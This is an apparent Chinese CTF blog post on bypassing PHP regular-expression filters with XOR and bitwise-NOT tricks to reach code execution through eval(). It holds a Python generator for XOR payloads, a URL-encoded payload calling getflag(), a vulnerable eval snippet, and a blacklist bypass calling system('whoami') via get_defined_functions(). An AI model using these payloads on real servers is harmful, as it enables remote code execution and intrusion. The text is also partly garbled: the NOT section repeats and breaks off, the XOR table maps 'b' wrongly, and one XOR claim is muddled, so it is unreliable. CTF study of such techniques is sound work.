php正则取反绕过和异或绕过

取反绕过和异或绕过php正则表达式

基础知识

PHP5和PHP7的区别

  • PHP5中,assert()是一个函数,我们可以用 = a s s e r t ; _=assert; =assert;_()这样的形式来执行代码。但在PHP7中,assert()变成了一个和eval()一样的语言结构,不再支持上面那种调用方法。(不过貌似这点存疑,我在PHP7.1中确实不允许再使用这种调用方法了,但是网上有人貌似在PHP7.0.12下还能这样调用,可能是7.1及以上不行??)
  • PHP5中,是不支持($a)()这种调用方法的,但在PHP7中支持这种调用方法,因此支持这么写(‘phpinfo’)();

PHP中的短标签

PHP中有两种短标签,<??>和<?=?>。
其中,<??>相当于对<?php>的替换。
而<?=?>则是相当于<? echo>。例如:<?= '111'?>

将会输出’111’ 大部分文章说短标签需要在php.ini中设置short_open_tag为on才能开启短标签(默认是开启的,但似乎又默认注释,所以还是等于没开启)。但实际上在PHP5.4以后,无论short_open_tag是否开启,<?=?>这种写法总是适用的,<??>这种写法则需要short_open_tag开启才行。

异或绕过

引入

在CTF的一些RCE题目中,可能会对传入的参数进行过滤,当题目过滤了字母和数字甚至其他一些符号时,可以尝试使用异或绕过的方式尝试去绕过。

何为异或

异或(XOR,Exclusive OR)是一种逻辑运算,用于对两个二进制位进行比较。其规则如下:

  • 当两个输入位相同时,输出为 0(假);
  • 当两个输入位不同时,输出为 1(真)。

在计算机中,字母和数字都是用 ASCII(或 Unicode)编码存储的,而 异或(XOR)是按位运算,所以当两个字符的二进制表示进行异或时,可能会得到一个新的有效 ASCII 字符

使用条件

当题目过滤了字母和数字的同时,没有过滤掉下划线“_”,就可以使用。

请添加图片描述

这是因为当我们构造好payload后,直接把payload赋值给参数是不行的,需要先把payload赋值给一个变量,再将这个变量的值赋给参数才行,又因为题目过滤了字母和数字,所以只能使用变量“$_”,当下划线也被过滤的时,变量将无名可取,即没有变量可用,也无法进行异或构造payload绕过。

实战步骤

根据题目中的提示,已知我们要执行eval(getflag()),且题目中过滤了字母和数字,但是没有过滤下划线,所以我们可以利用异或绕过
请添加图片描述

1.使用脚本

这个示例脚本的作用就是将我们输入的一个字母字符串中每个字母字符,是通过哪两个特殊字符异或生成的过程,输出出来。

word = input("Input word:")
payload = """"""
for i in word:
    if i == "a":
        payload += '("!"^"@").'
    elif i == "b":
        payload += '("!"^"@").'
    elif i == "c":
        payload += '("#"^"@").'
    elif i == "d":
        payload += '("$"^"@").'
    elif i == "e":
        payload += '("%"^"@").'
    elif i == "f":
        payload += '("&"^"@").'
    elif i == "g":
        payload += '("\'"^"@").'
    elif i == "h":
        payload += '("("^"@").'
    elif i == "i":
        payload += '(")"^"@").'
    elif i == "j":
        payload += '("*"^"@").'
    elif i == "k":
        payload += '("+"^"@").'
    elif i == "l":
        payload += '(","^"@").'
    elif i == "m":
        payload += '("-"^"@").'
    elif i == "n":
        payload += '("."^"@").'
    elif i == "o":
        payload += '("/"^"@").'
    elif i == "p":
        payload += '("/"^"_").'
    elif i == "q":
        payload += '("/"^"^").'
    elif i == "r":
        payload += '("."^"\\").'
    elif i == "s":
        payload += '("-"^"^").'
    elif i == "t":
        payload += '("/"^"[").'
    elif i == "u":
        payload += '("("^"]").'
    elif i == "v":
        payload += '("("^"^").'
    elif i == "w":
        payload += '("("^"_").'
    elif i == "x":
        payload += '("&"^"^").'
    elif i == "y":
        payload += '''("'"^"^").'''
    elif i == "z":
        payload += '("&"^"\\").'
    elif i == "A":
        payload += '("!"^"`").'
    elif i == "B":
        payload += '("<"^"~").'
    elif i == "C":
        payload += '("#"^"`").'
    elif i == "D":
        payload += '("$"^"`").'
    elif i == "E":
        payload += '("%"^"`").'
    elif i == "F":
        payload += '("&"^"`").'
    elif i == "G":
        payload += '(":"^"}").'
    elif i == "H":
        payload += '("("^"`").'
    elif i == "I":
        payload += '(")"^"`").'
    elif i == "J":
        payload += '("*"^"`").'
    elif i == "K":
        payload += '("+"^"`").'
    elif i == "L":
        payload += '(","^"`").'
    elif i == "M":
        payload += '("-"^"`").'
    elif i == "N":
        payload += '("."^"`").'
    elif i == "O":
        payload += '("/"^"`").'
    elif i == "P":
        payload += '("@"^"~").'
    elif i == "Q":
        payload += '("-"^"|").'
    elif i == "R":
        payload += '("."^"|").'
    elif i == "S":
        payload += '("("^"{").'
    elif i == "T":
        payload += '("("^"|").'
    elif i == "U":
        payload += '("("^"}").'
    elif i == "V":
        payload += '("("^"~").'
    elif i == "W":
        payload += '(")"^"~").'
    elif i == "X":
        payload += '("#"^"{").'
    elif i == "Y":
        payload += '("$"^"{").'
    elif i == "Z":
        payload += '("$"^"~").'
    else:
        payload += i
print("payload:\n"+payload)
输入
	getflag()
得到
	("'"^"@").("%"^"@").("/"^"[").("&"^"@").(","^"@").("!"^"@").("'"^"@").()
2.将payload进行url编码

​ 因为有些字符在浏览器中不会被手动编码,所以这里我们必须进行手动编码。

3.将payload赋值给一个变量

​ 因为如果直接将编码后的payload赋值给参数是无法执行的

​ 要先将编码后的payload赋值给一个变量,再将这个变量的值赋给这个参数才行

code = 一个变量 =payload(url编码后);变量名();
这里?code=$_=(%22'%22%5E%22%40%22).(%22%25%22%5E%22%40%22).(%22%2F%22%5E%22%5B%22).(%22%26%22%5E%22%40%22).(%22%2C%22%5E%22%40%22).(%22!%22%5E%22%40%22).(%22'%22%5E%22%40%22).();$_();

总结

​ 当字母和数字被过滤,但是下划线没有被过滤的时候,我们就可以考虑使用异或绕过正则表达式的匹配。

取反绕过

引入

在由于对传入参数值的长度有限制或过滤了下划线等原因无法利用异或绕过时,可以尝试使用取反绕过。

何为取反

  • 取反运算(~) 会对每个比特位进行翻转(0110)。
  • 在PHP中,~"字符串" 会返回该字符串的取反形式。
  • 可以用于构造被过滤的关键字。

使用条件

波浪号~没有被过滤掉,因为取反绕过是通过使用“字符串”的形式返回到新的字符串,当被禁用时,也自然无法进行取反了。

参考文章

PHP正则表达式绕过姿势之异或绕过

)。

  • 在PHP中,~"字符串" 会返回该字符串的取反形式。
  • 可以用于构造被过滤的关键字。

使用条件

波浪号~没有被过滤掉,因为取反绕过是通过使用“字符串”的形式返回到新的字符串,当被禁用时,也自然无法进行取反了。

参考文章

PHP正则表达式绕过姿势之异或绕过

无字母数字webshell总结

### 正则表达式绕过 `eval` 函数安全限制的方法 在某些情况下,开发者可能会尝试使用正则表达式来过滤掉潜在危险的输入以防止恶意代码被执行。然而,在实际应用中这些措施可能并不完全有效。 对于给定的例子[^2]: ```php <?php error_reporting(0); highlight_file(__FILE__); $code = $_GET['code']; if (preg_match('/[a-z0-9]/i', $code)) { die('hacker'); } eval($code); ``` 此段代码试图阻止包含字母或数字的字符串作为 `$code` 参数传递进来并执行。为了绕过这种简单的正则检测,攻击者可以利用非字母数字字符构建有效的 PHP 语法结构来进行攻击。例如,通过使用特殊字符组合或者内置常量实现功能调用而不违反现有的正则条件。 一种具体的绕过方式涉及到使用 PHP 中预定义好的魔术常数以及数组索引来访问特定函数名。考虑到另一个例子中的技巧[^4]: ```php <?php highlight_file(__FILE__); $cmd = $_POST['cmd']; if (isset($cmd)){ if (preg_match('/eval|system|exec|passthru|[\"\' ]/i', $cmd)){ die('No Hack!'); } else{ eval($cmd); } }else{ echo 'Welcome!'; } ``` 这里展示了如何通过获取内部已加载函数列表并通过下标选取目标函数的方式来规避关键字黑名单检查。具体来说,可以通过如下请求参数达到目的: ```bash cmd=get_defined_functions()[internal][373]("whoami"); ``` 这实际上是在调用 `system()` 函数而未直接提及它的名称。值得注意的是,这种方法依赖于服务器端环境的具体配置版本差异,因此不一定总是可行。 另外还有一种基于异或操作符 (`^`) 的技术可用于构造看似无害但实际上具有破坏性的 payload 。由于任何字符与 `\xFF` 进行按位异或运算将会得到其自身的补码表示形式,所以如果能够巧妙地设计输入,则可以在不触发敏感模式匹配的情况下完成预期行为[^5]。 尽管上述方法确实存在理论上的可行性,但在真实世界的应用开发过程中应当极力避免任何形式的动态代码评估机制(如 `eval()`),转而采用更安全可靠的替代方案来处理业务逻辑需求。 #### 示例 Payload 构造 假设有一个非常严格的正则规则只允许部分符号的存在,那么下面是一个可能用来绕过的实例: ```php ${_GET}[key]() // 利用了PHP解析器特性使得 _GET[key]() 被解释成 $_GET['key']() ``` 这里的 `${}` 结构让 PHP 解析引擎将其视为一个整体变量而非独立组件,从而成功避开了对非法字符的筛查过程。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值